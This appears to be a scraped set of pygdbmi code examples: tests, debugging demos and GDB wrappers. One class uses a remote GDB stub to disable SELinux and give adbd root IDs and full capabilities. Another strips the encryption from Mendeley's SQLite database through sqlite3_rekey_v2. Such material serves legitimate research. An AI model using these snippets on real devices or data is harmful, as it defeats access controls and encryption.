コード例 #1
0
def main(verbose=True):
    """Build and debug an application programatically

    For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html
    """

    # Build C program
    subprocess.check_output(["make", "-C", SAMPLE_C_CODE_DIR, '--quiet'])

    # Initialize object that manages gdb subprocess
    gdbmi = GdbController(verbose=verbose)

    # Send gdb commands. Gdb machine interface commands are easier to script around,
    # hence the name "machine interface".
    # Responses are automatically printed as they are received if verbose is True.
    # Responses are returned after writing, by default.

    # Load the file
    responses = gdbmi.write('-file-exec-and-symbols %s' % SAMPLE_C_BINARY)
    # Get list of source files used to compile the binary
    responses = gdbmi.write('-file-list-exec-source-files')
    # Add breakpoint
    responses = gdbmi.write('-break-insert main')
    # Run
    responses = gdbmi.write('-exec-run')
    responses = gdbmi.write('-exec-next')
    responses = gdbmi.write('-exec-next')
    responses = gdbmi.write('-exec-continue')

    gdbmi.exit()
コード例 #2
0
 def remove_gdb_controller(self, controller: GdbController) -> List[str]:
     try:
         controller.exit()
     except Exception:
         logger.error(traceback.format_exc())
     orphaned_client_ids = self.controller_to_client_ids.pop(controller, [])
     return orphaned_client_ids
コード例 #3
0
ファイル: test_app.py プロジェクト: johncf/pygdbmi
    def test_controller(self):
        """Build a simple C program, then run it with GdbController and verify the output is parsed
        as expected"""
        SAMPLE_C_CODE_DIR = os.path.join(
            os.path.dirname(os.path.realpath(__file__)), 'sample_c_app')
        SAMPLE_C_BINARY = os.path.join(SAMPLE_C_CODE_DIR, 'a.out')
        # Build C program
        subprocess.check_output(["make", "-C", SAMPLE_C_CODE_DIR, '--quiet'])

        # Initialize object that manages gdb subprocess
        gdbmi = GdbController()

        # Load the binary and its symbols in the gdb subprocess
        responses = gdbmi.write('-file-exec-and-symbols %s' % SAMPLE_C_BINARY,
                                timeout_sec=2)

        # Verify output was parsed into a list of responses
        assert (len(responses) != 0)
        response = responses[0]
        assert (set(response.keys()) == set(
            ['message', 'type', 'payload', 'stream', 'token']))
        assert (response['message'] == 'thread-group-added')
        assert (response['type'] == 'notify')
        assert (response['payload'] == {'id': 'i1'})
        assert (response['stream'] == 'stdout')
        assert (response['token'] == None)

        responses = gdbmi.write(
            ['-file-list-exec-source-files', '-break-insert main'])
        assert (len(responses) != 0)

        # Close gdb subprocess
        responses = gdbmi.exit()
        assert (responses is None)
        assert (gdbmi.gdb_process is None)
コード例 #4
0
    def test_controller(self):
        """Build a simple C program, then run it with GdbController and verify the output is parsed
        as expected"""

        # Initialize object that manages gdb subprocess
        gdbmi = GdbController()

        c_hello_world_binary = self._get_c_program("hello", "pygdbmiapp.a")

        if USING_WINDOWS:
            c_hello_world_binary = c_hello_world_binary.replace("\\", "/")
        # Load the binary and its symbols in the gdb subprocess
        responses = gdbmi.write("-file-exec-and-symbols %s" %
                                c_hello_world_binary,
                                timeout_sec=1)

        # Verify output was parsed into a list of responses
        assert len(responses) != 0
        response = responses[0]
        assert set(response.keys()) == {
            "message", "type", "payload", "stream", "token"
        }

        assert response["message"] == "thread-group-added"
        assert response["type"] == "notify"
        assert response["payload"] == {"id": "i1"}
        assert response["stream"] == "stdout"
        assert response["token"] is None

        responses = gdbmi.write(
            ["-file-list-exec-source-files", "-break-insert main"],
            timeout_sec=3)
        assert len(responses) != 0

        responses = gdbmi.write(["-exec-run", "-exec-continue"], timeout_sec=3)

        # Test GdbTimeoutError exception
        got_timeout_exception = False
        try:
            gdbmi.get_gdb_response(timeout_sec=0)
        except GdbTimeoutError:
            got_timeout_exception = True
        assert got_timeout_exception is True

        # Close gdb subprocess
        responses = gdbmi.exit()
        assert responses is None
        assert gdbmi.gdb_process is None

        # Test ValueError exception
        self.assertRaises(ValueError, gdbmi.write,
                          "-file-exec-and-symbols %s" % c_hello_world_binary)

        # Respawn and test signal handling
        gdbmi.spawn_new_gdb_subprocess()
        responses = gdbmi.write("-file-exec-and-symbols %s" %
                                c_hello_world_binary,
                                timeout_sec=1)
        responses = gdbmi.write(["-break-insert main", "-exec-run"])
コード例 #5
0
ファイル: script.py プロジェクト: taylor-cox/cs2011-bomblab
def try_nums(nums):
    numString = arrayToString(nums)

    gdbmi = GdbController()
    gdbmi.write('file bomb', timeout_sec=5)
    gdbmi.write('break explode_bomb', timeout_sec=5)
    gdbmi.write('run', timeout_sec=5)
    time.sleep(1.5)
    gdbmi.interrupt_gdb()
    gdbmi.write('call (void) initialize_phase6()', timeout_sec=5)
    response = gdbmi.write('call (void) phase6("{0}")'.format(numString),
                           timeout_sec=5)
    for mess in response:
        if mess['message'] == 'stopped':
            gdbmi.exit()
            return numString + "is not the value."
    gdbmi.exit()
    return "! " + numString + "is the value!"
コード例 #6
0
class GDB:
    def __init__(self):
        self.gdbmi = None
        self.timeout = 10
        self.command = ""
        self.opLog = None

    def gdbStart(self, gdbPath):
        #open log file
        logFile = 'copy_to_flash_' + str(
            datetime.now().strftime("%Y-%m-%d_%H:%M:%S")) + '.log'
        self.opLog = open(logFile, 'w+')
        #open gdb
        self.gdbmi = GdbController(gdb_path=gdbPath,
                                   gdb_args=None,
                                   time_to_check_for_additional_output_sec=4.5,
                                   rr=False,
                                   verbose=False)
        #print('started gdb')

    def gdbSendCommand(self, command):
        self.command = command
        if self.gdbmi is None:
            return False
        #send command and get output.
        response = self.gdbmi.write(command, timeout_sec=self.timeout)
        if len(response) == 0:
            return False
        return response

    def gdbClose(self):
        #close gdb
        if self.gdbmi is None:
            return False
        self.gdbmi.send_signal_to_gdb("SIGINT")
        self.gdbmi.send_signal_to_gdb(2)
        self.gdbmi.interrupt_gdb()
        assert self.gdbmi.exit() is None
        assert self.gdbmi.gdb_process is None
        self.opLog.close()
        return True

    def getResponseTypeMsg(self, response):
        TypeMsg = ""
        typeMsgNum = str(response).count("payload")
        #get exact gdb console response.
        for line in range(typeMsgNum):
            if (str(response[line]['type'])) == "console":
                TypeMsg += (str(response[line]['payload']))
        self.opLog.write("The output of " + self.command + " :\n" + TypeMsg +
                         "\n")
        return TypeMsg

    def gdbSendSignal(self, sig):
        if self.gdbmi is None:
            return False
        self.gdbmi.send_signal_to_gdb(sig)
コード例 #7
0
class ProbeSession(object):
    def __init__(self, port, host_ip="localhost"):
        self.session = GdbController(gdb_path="arm-none-eabi-gdb")
        # Connect to the debug probe
        self.session.write("target remote %s:%s" % (host_ip, port))

    def __del__(self):
        # Stop the running GDB server
        self.session.exit()

    def register_read(self, reg):

        reg = reg.lower()

        if reg not in reg_list:
            raise "Specified register is not valid for this target."

        output = self.session.write("monitor reg %s" % reg)
        assert (output[1]['type'] == 'target')
        value = reg_value.match(output[1]['payload'])['value']
        return int(value, 16)
コード例 #8
0
def main(verbose=True):
    """Build and debug an application programatically

    For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html
    """

    # Build C program
    find_executable(MAKE_CMD)
    if not find_executable(MAKE_CMD):
        print(
            'Could not find executable "%s". Ensure it is installed and on your $PATH.'
            % MAKE_CMD)
        exit(1)
    subprocess.check_output([MAKE_CMD, "-C", SAMPLE_C_CODE_DIR, "--quiet"])

    # Initialize object that manages gdb subprocess
    gdbmi = GdbController(verbose=verbose)

    # Send gdb commands. Gdb machine interface commands are easier to script around,
    # hence the name "machine interface".
    # Responses are automatically printed as they are received if verbose is True.
    # Responses are returned after writing, by default.

    # Load the file
    responses = gdbmi.write("-file-exec-and-symbols %s" % SAMPLE_C_BINARY)
    # Get list of source files used to compile the binary
    responses = gdbmi.write("-file-list-exec-source-files")
    # Add breakpoint
    responses = gdbmi.write("-break-insert main")
    # Run
    responses = gdbmi.write("-exec-run")
    responses = gdbmi.write("-exec-next")
    responses = gdbmi.write("-exec-next")
    responses = gdbmi.write("-exec-continue")  # noqa: F841

    # gdbmi.gdb_process will be None because the gdb subprocess (and its inferior
    # program) will be terminated
    gdbmi.exit()
コード例 #9
0
    def test_controller(self):
        """Build a simple C program, then run it with GdbController and verify the output is parsed
        as expected"""

        # Initialize object that manages gdb subprocess
        gdbmi = GdbController()

        c_binary_path = self._get_c_program()
        # Load the binary and its symbols in the gdb subprocess
        responses = gdbmi.write('-file-exec-and-symbols %s' % c_binary_path,
                                timeout_sec=1)

        # Verify output was parsed into a list of responses
        assert (len(responses) != 0)
        response = responses[0]
        assert (set(response.keys()) == set(
            ['message', 'type', 'payload', 'stream', 'token']))
        assert (response['message'] == 'thread-group-added')
        assert (response['type'] == 'notify')
        assert (response['payload'] == {'id': 'i1'})
        assert (response['stream'] == 'stdout')
        assert (response['token'] is None)

        responses = gdbmi.write(
            ['-file-list-exec-source-files', '-break-insert main'])
        assert (len(responses) != 0)

        responses = gdbmi.write(['-exec-run', '-exec-continue'], timeout_sec=3)
        found_match = False
        for r in responses:
            if r.get(
                    'payload', ''
            ) == '  leading spaces should be preserved. So should trailing spaces.  ':
                found_match = True
        assert (found_match is True)

        # Close gdb subprocess
        responses = gdbmi.exit()
        assert (responses is None)
        assert (gdbmi.gdb_process is None)

        # Test NoGdbProcessError exception
        got_no_process_exception = False
        try:
            responses = gdbmi.write('-file-exec-and-symbols %s' %
                                    c_binary_path)
        except NoGdbProcessError:
            got_no_process_exception = True
        assert (got_no_process_exception is True)
コード例 #10
0
ファイル: gdb.py プロジェクト: 0x55AAh/anthill_gaming
class GDBInspector:
    """Wrapper around pygdbmi.gdbcontroller.GdbController."""

    def __init__(self, binary, corefile='core', path=None):
        self._binary = os.path.join(path, binary) if path else binary
        self._corefile = os.path.join(path, corefile) if path else corefile
        self._gdb = None

    async def __aenter__(self):
        await self.connect()
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        await self.exit()

    def __getattr__(self, item):
        return getattr(self._gdb, item)

    @as_future
    def connect(self):
        self._gdb = GdbController(gdb_args=self.gdb_args)

    @as_future
    def exit(self):
        return self._gdb.exit()

    @property
    def gdb_args(self):
        args = [self._binary, self._corefile]
        args += REQUIRED_GDB_FLAGS
        return args

    @as_future
    def write(self, *args, **kwargs):
        return self._gdb.write(*args, **kwargs)

    def corefile_exists(self):
        return os.path.isfile(self._corefile)
コード例 #11
0
ファイル: python-wrapper.py プロジェクト: akshaynagpal/cbfi
def do_processing(executable, arguments, source_file_name, source_file_path,
                  call_fail_dict):

    error_lineno = -1

    exec_args = arguments.split(" ")
    if len(exec_args) != 0:
        gdb_exec_args = [
            '-nx', '--quiet', '-interpreter=mi2', '--args', executable
        ] + exec_args
    else:
        gdb_exec_args = [
            '-nx', '--quiet', '-interpreter=mi2', '--args', executable
        ]

    #print gdb_exec_args

    gdbmi = GdbController(gdb_args=gdb_exec_args)

    responses = gdb_read(gdb_controller=gdbmi)

    gdbmi.write('set environment LD_PRELOAD={0}'.format(library),
                read_response=False)

    #print "\n",call_fail_dict

    for call, fail_nums in call_fail_dict.iteritems():
        #We will be setting the environment variables for failing libc calls over here
        call_nums = ','.join(map(str, fail_nums))
        gdbmi.write('set environment {0}={1}'.format(call, call_nums),
                    read_response=False)
        #print 'set environment {0}={1}'.format(call_to_fail, call_nums)

    gdbmi.write('br main', read_response=False)
    responses = gdb_read(gdb_controller=gdbmi)
    #pprint(responses)
    #print("\n\n")

    gdbmi.write('run', read_response=False)
    responses = gdb_read(gdb_controller=gdbmi)
    #pprint(responses)
    #print("\n\n")

    # The program execution stops here because break on main would have reached
    break_outer = False
    abrupt = False
    while (True):

        gdbmi.write('call flush_gcov()', read_response=False)

        gdbmi.write('next', read_response=False)
        responses = gdb_read(gdb_controller=gdbmi)
        #print "test"
        #pprint(responses)
        #print("\n\n")

        for response in responses:
            if response['message'] == 'stopped' \
             and response['payload']['reason'] == 'end-stepping-range' \
             and response['payload']['frame']['file'] == source_file_name:
                error_lineno = int(response['payload']['frame']['line'])
                #pprint(response)
            elif response['message'] == 'stopped' and response['payload'][
                    'reason'] == 'exited-signalled':
                break_outer = True
                abrupt = True
                #pprint(response)
            elif response['message'] == 'stopped' and response['payload'][
                    'reason'] == 'exited-normally':
                break_outer = True
                #pprint(response)
            elif response['message'] == 'stopped' and response['payload'][
                    'reason'] == 'exited':
                break_outer = True
                #pprint(response)

        if break_outer:
            gdbmi.write('call flush_gcov()', read_response=False)
            break

    gdbmi.exit()

    process = subprocess.Popen(['gcov', '-i', source_file_path],
                               stdout=subprocess.PIPE)
    out, err = process.communicate()

    with open('{0}.{1}'.format(source_file_name, 'gcov'), 'r') as gcovfile:
        gcovdata = gcovfile.read().split('\n')

    exec_string = get_linecount_string(gcovdata, source_file_name, abrupt,
                                       call_fail_dict)

    # Delete gcda file
    subprocess.call(
        ['rm', '-f', '{0}.{1}'.format(source_file_path[:-2], 'gcda')])

    # Delete gcov file
    subprocess.call(['rm', '-f', '{0}.{1}'.format(source_file_name, 'gcov')])

    return (exec_string, abrupt, error_lineno)
コード例 #12
0
class GDB_stub_controller(object):
    def __init__(self, options):
        self.options = options
        self.internal_timeout = 1
        self.verb = True if options.debug else False
        logging.info(
            " [+] Start the GDB controller and attach it to the remote target")
        logging.info(" [+] GDB additional timeout value is %d" %
                     int(options.timeout))
        self.gdb = GdbController(time_to_check_for_additional_output_sec=int(
            options.timeout),
                                 verbose=self.verb)
        response = self.gdb.write("target remote :1234")
        isrunning = 0
        for f in response:
            if ("payload"
                    in f) and (f["payload"] != None) and ("Remote debugging"
                                                          in f["payload"]):
                logging.info(" [+] GDB server reached. Continue")
                isrunning = 1
                break
        if isrunning == 0:
            logging.warning("GDB server not reachable. Did you start it?")
            self.stop()
            raise Exception("GDB server not reachable. Did you start it?")

    def stop(self):
        logging.info(" [+] Detach and stop GDB controller")
        self.gdb.exit()

    def write_mem(self, addr, val):
        logging.debug(" [+] gdb.write addr: %#x value : %#x" % (addr, val))
        self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (addr, val),
                       timeout_sec=self.internal_timeout)

    def read_mem(self, addr, rec=0):
        try:
            logging.debug(" [+] gdb.read addr [0x%x]: ... " % (addr))
            r = self.gdb.write("x/xw %#x" % addr,
                               timeout_sec=self.internal_timeout)[1].get(
                                   'payload').split('\\t')[1].replace(
                                       "\\n", "")
            logging.debug(" [+] gdb.read addr [0x%x]: %s " % (addr, r))
            r = int(r, 16)

            return r
        except (GdbTimeoutError, TypeError, ValueError, NoGdbProcessError,
                IndexError, AttributeError):
            if (rec == 0):
                logging.warning(
                    "Inconsistente GDB response. (GDB timeout or bad format). New try."
                )
                self.read_mem(addr, rec=1)
            else:
                logging.warning(
                    "Inconsistente GDB response. (GDB timeout or bad format). Quit"
                )
                self.stop()
                raise Exception("GDB timeout reached. Quit")

    def read_str(self, addr):
        r = self.gdb.write("x/s %#x" % addr,
                           timeout_sec=self.internal_timeout)[1].get(
                               'payload').split('\\t')[1].replace("\\n", "")
        logging.debug(" [+] gdb.read str [0x%x]: %s " % (addr, r))
        return r

    def find(self, name):
        response = self.gdb.write("find 0xc0000000, +0x40000000, \"%s\"" %
                                  name,
                                  raise_error_on_timeout=True,
                                  read_response=True,
                                  timeout_sec=int(options.timeout))
        response.pop(0)  # response[0] contains the gdb command line
        addresses = []
        # parse gdb response
        for m in response:
            if m.get('payload') != None and m.get('payload')[:-2].startswith(
                    '0x'):
                val = int(m.get('payload')[:-2], 16)
                addresses.append(val)
        # return a list of addresses found.
        return addresses

    '''
    This function sets SELinux enforcement to permissive
    '''

    def disable_selinux(self):
        logging.info("[+] Disable SELinux")
        logging.debug("[+] Offsets are  %s - %s - %s " %
                      (hex(self.options.offset_selinux[0]),
                       hex(self.options.offset_selinux[0]),
                       hex(self.options.offset_selinux[0])))

        self.write_mem(self.options.offset_selinux[0], 0)
        self.write_mem(self.options.offset_selinux[1], 0)
        self.write_mem(self.options.offset_selinux[2], 0)

    '''
    This function sets all capabilities of a task to 1
    '''

    def set_full_capabilities(self, cred_addr):
        logging.info("[+] Set full capabilities")
        for ofs in [0x30, 0x34, 0x38, 0x3c, 0x40, 0x44]:
            self.write_mem(cred_addr + ofs, 0xffffffff)

    '''
    This function sets all Linux IDs of a task to 0 (root user)
    @effective: if False, effective IDs are not modified 
    '''

    def set_root_ids(self, cred_addr, effective=True):
        logging.info("[+] Set root IDs")
        for ofs in [0x04, 0x08, 0x0c, 0x10, 0x1c,
                    0x20]:  # uid, gid, suid,sgid, fsuid, fsgid
            self.write_mem(cred_addr + ofs, 0x00000000)
        if effective:
            self.write_mem(cred_addr + 0x14, 0x00000000)  # euid
            self.write_mem(cred_addr + 0x18, 0x00000000)  # egid
        else:
            logging.info("[+] Note: effective ID have not been changed")

    '''
    This function returns the task_struct addr for a given process name
    '''

    def get_process_task_struct(self, process):
        logging.info(" [+] Get address aligned whose process name is: [%s]" %
                     process)
        logging.info(
            " [+] This step can take a while (GDB timeout: %dsec). Please wait..."
            % int(options.timeout))
        addresses = self.find(process)

        candidates = []
        for a in addresses:

            if a % 16 == self.options.offset_to_comm % 16:
                candidates.append(a)

        for c in candidates:
            magic_cred_ptr1 = self.read_mem(c - 8)
            magic_cred_ptr2 = self.read_mem(c - 4)

            if (magic_cred_ptr1 == magic_cred_ptr2):
                magic_addr = c

                return magic_addr - self.options.offset_to_comm
        return None

    '''
    This function returns the cred_struct address of adbd process from a given stager process
    '''

    def get_adbd_cred_struct(self, stager_addr):
        logging.info("[+] Search adbd task struct in the process hierarchy")
        adbd_cred_ptr = ""
        cur = stager_addr
        while True:
            parent_struct_addr = self.read_mem(cur +
                                               self.options.offset_to_comm -
                                               self.options.offset_to_parent)
            print(hex(parent_struct_addr))
            parent_struct_name = self.read_str(parent_struct_addr +
                                               self.options.offset_to_comm)
            if (str(parent_struct_name) == r'\"adbd\"'):
                adbd_cred_ptr = self.read_mem(parent_struct_addr +
                                              self.options.offset_to_comm - 4)
                break
            cur = parent_struct_addr
        return adbd_cred_ptr
コード例 #13
0
class GdbWrapper():
    def __init__(self, pid):
        self._pid = pid
        self._Heap = None
        self._COLORS = {}
        self._Maps = []
        self._update_color()
    def _attach(self):
        self.gdbmi = GdbController()
        init_cmds = ["set exception-verbose on",
                     "source ~/.gdbinit",
                     "set print element 0",
                     "attach {}".format(str(self._pid)),
                     "set charset ASCII"]
        for cmd in init_cmds:
            self.gdbmi.write(cmd)
    def _detach(self):
        self.gdbmi.exit()
    def _parse_single(self, single):
        if "=" in single:
            single = re.sub("\(.*?\)|\<.*?\>", "", single).strip().replace(" ", "").split("=")
            if single[-1].startswith("0x") or single[-1].startswith("0X"):
                single[-1] = int(single[-1], 16)
            elif single[-1].isalnum():
                single[-1] = int(single[-1])
            else:
                single[-1] = str(single[-1])
            return {single[0]:single[-1]}
        else:
            if single.startswith("0x") or single.startswith("0X"):
                single = int(single, 16)
            elif single.isalnum():
                single = int(single)
            else:
                single = str(single)
            return single
    def _parse_all(self, key_values):
        key_values = key_values.replace(" ", "").replace("\n", "")
        key_values = re.sub("\(.*?\)|\<.*?\>", "", key_values)
        key_values = key_values.replace("\\\\","\\").replace("\\\"", "\"")
        parsed_list = []
        if "{" in key_values and "}" in key_values:
            index = []
            while "{" in key_values and "}" in key_values:
                for x in range(0, len(key_values)):
                    if key_values[x] == "{":
                        index.append(x)
                    elif key_values[x] == "}":
                        if len(index) > 1:
                            index.pop(-1)
                            continue
                        else:
                            left = index[-1]
                            index.pop(-1)
                            right = x
                            deeper = copy.copy(key_values)
                            deeper = deeper[left + 1: right]
                            value = self._parse_all(deeper)
                            name_left = left - 1
                            name_right = left
                            while name_left > 0:
                                if key_values[name_left] == '=':
                                    name_right = name_left
                                if name_left == 0:
                                    break
                                if key_values[name_left] == ',' or key_values[name_left] == '{':
                                    name_left += 1
                                    break
                                name_left -= 1
                            name = key_values[name_left: name_right]
                            parsed_list.append({name: value})
                            key_values = key_values[:name_left] + key_values[right + 1:]
                            break
            parsed_ret = {}
            for dict_node in parsed_list:
                parsed_ret = dict(parsed_ret.items() + dict_node.items())
            if len(key_values.strip().replace(" ", "")) > 0:
                deeper = self._parse_all(key_values)
                if type(deeper).__name__ == "dict":
                    parsed_ret = dict(parsed_ret.items() + deeper.items())
                else:
                    log.debug(str(deeper))
            return parsed_ret
        elif "{" not in key_values and "}"  not in key_values:
            is_dict = False
            parsed = []
            singles = key_values.split(",")
            while '' in singles:
                singles.remove('')
            for single in singles:
                single_parse = self._parse_single(single)
                parsed.append(single_parse)
            for x in parsed:
                if type(x).__name__ == "dict":
                    is_dict = True
            if is_dict == True:
                dict_ret = {}
                for x in parsed:
                    if type(x).__name__ == "dict":
                        dict_ret = dict(dict_ret.items() + x.items())
                    elif x != '':
                        dict_ret = dict(dict_ret.items() + {x: x}.items())
                return dict_ret
            else:
                return parsed
    def _update_color(self):
        raw_output = self.exec_cmds("vmmap").split("\n")
        # get STACK_COLOR
        self._COLORS["STACK"] = copy.copy(
            raw_output[0][raw_output[0].find("STACK") - 6: raw_output[0].find("STACK")]).strip()
        self._COLORS["HEAP"] = copy.copy(
            raw_output[0][raw_output[0].find("HEAP") - 6: raw_output[0].find("HEAP")]).strip()
        self._COLORS["CODE"] = copy.copy(
            raw_output[0][raw_output[0].find("CODE") - 6: raw_output[0].find("CODE")]).strip()
        self._COLORS["DATA"] = copy.copy(
            raw_output[0][raw_output[0].find("DATA") - 6: raw_output[0].find("DATA")]).strip()
        self._COLORS["RWX"] = copy.copy(raw_output[0][raw_output[0].find("RWX") - 6: raw_output[0].find("RWX")]).strip()
        self._COLORS["RODATA"] = copy.copy(
            raw_output[0][raw_output[0].find("RODATA") - 6: raw_output[0].find("RODATA")]).strip()
        self._COLORS["RESET"] = copy.copy(
            raw_output[0][raw_output[0].find("STACK") + 5: raw_output[0].find("STACK") + 10]).strip()
    def exec_cmds(self, cmds, parsed = False): #cmd( str ) and cmds( [] ) are both supported
        self._attach()
        if type(cmds).__name__ == "str":
            cmds = [cmds]
        ret = []
        for cmd in cmds:
            start_ret = False
            cmd_ret = ""
            for x in self.gdbmi.write(cmd):
                if type(x["payload"]).__name__ == 'unicode':
                    if start_ret == True:
                        cmd_ret += (x["payload"].encode("unicode-escape").decode("unicode-escape").encode("ascii"))
                    try:
                        if cmd in x["payload"].encode("unicode-escape").decode("unicode-escape").encode("ascii"):
                            start_ret = True
                    except:
                        pass
                elif type(x["payload"]).__name__ == 'str':
                    if start_ret == True:
                        cmd_ret += (x["payload"])
                    try:
                        if cmd in x["payload"]:
                            start_ret = True
                    except:
                        pass
            ret.append(cmd_ret.replace("\\n", "\n"))
        self._detach()
        if len(ret) == 1:
            if parsed == False:
                return ret[0]
            try:
                toparse = copy.copy(ret)
                parsed_ret = self._parse_all(toparse[0])
                if type(parsed_ret).__name__ == "list" and len(parsed_ret) == 1:
                    return parsed_ret[0]
                return parsed_ret
            except Exception,e:
                pass
        else:
コード例 #14
0
def attempt(times, mendeley, db, save_path, debug=0):
    gdb = GdbController(mendeley, ['--debug'])
    var_count = 0
    try:
        gdb.write('b sqlite3_open_v2', read_response=False)
        validWithKeyword(gdb, 'Breakpoint', debug=debug)

        gdb.write('r', read_response=False)
        validWithKeyword(gdb, 'sqlite3_open_v2', 5, debug=debug)

        response = None
        while True:
            response = gdb.write('x/s $rdi')
            if db in response[0]['payload']:
                if debug:
                    print(response, file=sys.stderr)
                break

            gdb.write('c', read_response=False)
            validWithKeyword(gdb, 'sqlite3_open_v2', 5, debug=debug)

        var_count = setPath(gdb, save_path, var_count)
        for i in range(1, times):
            gdb.write('c', read_response=False)
            validWithKeyword(gdb, 'sqlite3_open_v2', 5, debug=debug)
            response = gdb.write('x/s $rdi')
            if db not in response[0]['payload']:
                raise ValidException('Attemp failed')
            var_count = setPath(gdb, save_path, var_count)

        gdb.write('b sqlite3_key', read_response=False)
        validWithKeyword(gdb, 'Breakpoint', debug=debug)

        gdb.write('c', read_response=False)
        validWithKeyword(gdb, 'sqlite3_key', debug=debug)

        response = gdb.write('p/x $rdi')
        if debug:
            print(response, file=sys.stderr)
        addr = getResult(response[0]['payload'])

        gdb.write('fin', read_response=False)
        validWithKeyword(gdb, 'sqlite3_key', debug=debug)

        response = gdb.write('p (int) sqlite3_rekey_v2(%s, 0, 0, 0)' % addr)
        if debug:
            print(response, file=sys.stderr)
        rtn = getResult(response[0]['payload'])

        if rtn != '0':
            raise ValidException('Attempt failed')

    except ValidException as e:
        print(e)
        return False
    except Exception:
        traceback.print_exc()
        return False
    finally:
        gdb.exit()
    return True
コード例 #15
0
ファイル: test_app.py プロジェクト: mariusmue/pygdbmi
    def test_controller(self):
        """Build a simple C program, then run it with GdbController and verify the output is parsed
        as expected"""

        # Initialize object that manages gdb subprocess
        gdbmi = GdbController()

        c_hello_world_binary = self._get_c_program('hello', 'pygdbmiapp.a')

        if USING_WINDOWS:
            c_hello_world_binary = c_hello_world_binary.replace('\\', '/')
        # Load the binary and its symbols in the gdb subprocess
        responses = gdbmi.write('-file-exec-and-symbols %s' % c_hello_world_binary, timeout_sec=1)

        # Verify output was parsed into a list of responses
        assert(len(responses) != 0)
        response = responses[0]
        assert(set(response.keys()) == set(['message', 'type', 'payload', 'stream', 'token']))
        assert(response['message'] == 'thread-group-added')
        assert(response['type'] == 'notify')
        assert(response['payload'] == {'id': 'i1'})
        assert(response['stream'] == 'stdout')
        assert(response['token'] is None)

        responses = gdbmi.write(['-file-list-exec-source-files', '-break-insert main'])
        assert(len(responses) != 0)

        responses = gdbmi.write(['-exec-run', '-exec-continue'], timeout_sec=3)
        found_match = False
        for r in responses:
            if r.get('payload', '') == '  leading spaces should be preserved. So should trailing spaces.  ':
                found_match = True
        assert(found_match is True)

        # Test GdbTimeoutError exception
        got_timeout_exception = False
        try:
            gdbmi.get_gdb_response(timeout_sec=0)
        except GdbTimeoutError:
            got_timeout_exception = True
        assert(got_timeout_exception is True)

        # Close gdb subprocess
        if not USING_WINDOWS:
            # access denied on windows
            gdbmi.send_signal_to_gdb('SIGINT')
            gdbmi.send_signal_to_gdb(2)
            gdbmi.interrupt_gdb()
        responses = gdbmi.exit()
        assert(responses is None)
        assert(gdbmi.gdb_process is None)

        # Test NoGdbProcessError exception
        got_no_process_exception = False
        try:
            responses = gdbmi.write('-file-exec-and-symbols %s' % c_hello_world_binary)
        except NoGdbProcessError:
            got_no_process_exception = True
        assert(got_no_process_exception is True)

        # Respawn and test signal handling
        gdbmi.spawn_new_gdb_subprocess()
        responses = gdbmi.write('-file-exec-and-symbols %s' % c_hello_world_binary, timeout_sec=1)
        responses = gdbmi.write(['-break-insert main', '-exec-run'])
        if not USING_WINDOWS:
            gdbmi.interrupt_gdb()
            gdbmi.send_signal_to_gdb(2)
            gdbmi.send_signal_to_gdb('sigTeRm')
            try:
                gdbmi.send_signal_to_gdb('sigterms')
                # exception must be raised
                assert(False)
            except ValueError:
                assert(True)
        responses = gdbmi.write('-exec-run')
        if not USING_WINDOWS:
            gdbmi.send_signal_to_gdb('sigstop')
コード例 #16
0
class GdbHelper:

    _WRITE_METHODS = {
        1: "write_byte",
        4: "write_dword",
        8: "write_qword"
    }

    def __init__(self, arch: str = "x86", timeout: int = 180):
        self.gdb = GdbController(time_to_check_for_additional_output_sec=timeout)

        if arch == "x86_64":
            self.gdb.write("set arch i386:x86-64:intel")

    def stop(self):
        self.gdb.exit()

    def start(self):
        self.gdb.write("target remote :1234")

    def write(self, address: int, value: int, size: int=1):
        getattr(self, GdbHelper._WRITE_METHODS.get(size, "write_byte"))(address, value)

    def write_byte(self, address: int, value: int):
        self.gdb.write("set *(unsigned char*) (%#x) = %#x" % (address, value))

    def write_dword(self, address: int, value: int):
        self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (address, value))

    def write_qword(self, address: int, value: int):
        self.gdb.write("set *(unsigned long*) (%#x) = %#x" % (address, value))

    def read_dword(self, address: int) -> int:
        response = self.gdb.write("x/wx %#x" % address)[1]["payload"]

        return int(response.split("\\t")[1].replace("\\n", ""), 16)

    def read_addr(self, address: int) -> int:
        response = self.gdb.write("x/a %#x" % address)[1]["payload"]

        return int(response.split("\\t")[1].replace("\\n", ""), 16)

    def read_str(self, address: int) -> str:
        response = self.gdb.write("x/s %#x" % address)[1]["payload"]

        return response.split("\\t")[1].replace("\\n", "").replace("\\\"", "")

    def read_ip(self) -> int:
        response = self.gdb.write("p/x $pc")[1]["payload"]

        return int(response.split(" = ")[1].replace("\\n", ""), 16)

    def find(self, query: str) -> List[int]:
        addresses = []
        response = self.gdb.write("find %s" % query, timeout_sec=180)

        for subset in response:
            payload = subset.get("payload")

            if payload is not None and payload.startswith("0x"):
                addresses.append(int(payload.replace("\\n", ""), 16))

        return addresses
コード例 #17
0
    def test_controller(self):
        """Build a simple C program, then run it with GdbController and verify the output is parsed
        as expected"""

        # Initialize object that manages gdb subprocess
        gdbmi = GdbController()

        c_hello_world_binary = self._get_c_program("hello", "pygdbmiapp.a")

        if USING_WINDOWS:
            c_hello_world_binary = c_hello_world_binary.replace("\\", "/")
        # Load the binary and its symbols in the gdb subprocess
        responses = gdbmi.write("-file-exec-and-symbols %s" %
                                c_hello_world_binary,
                                timeout_sec=1)

        # Verify output was parsed into a list of responses
        assert len(responses) != 0
        response = responses[0]
        assert set(response.keys()) == {
            "message", "type", "payload", "stream", "token"
        }

        assert response["message"] == "thread-group-added"
        assert response["type"] == "notify"
        assert response["payload"] == {"id": "i1"}
        assert response["stream"] == "stdout"
        assert response["token"] is None

        responses = gdbmi.write(
            ["-file-list-exec-source-files", "-break-insert main"])
        assert len(responses) != 0

        responses = gdbmi.write(["-exec-run", "-exec-continue"], timeout_sec=3)
        found_match = False
        print(responses)
        for r in responses:
            if (r.get(
                    "payload", ""
            ) == "  leading spaces should be preserved. So should trailing spaces.  "
                ):
                found_match = True
        assert found_match is True

        # Test GdbTimeoutError exception
        got_timeout_exception = False
        try:
            gdbmi.get_gdb_response(timeout_sec=0)
        except GdbTimeoutError:
            got_timeout_exception = True
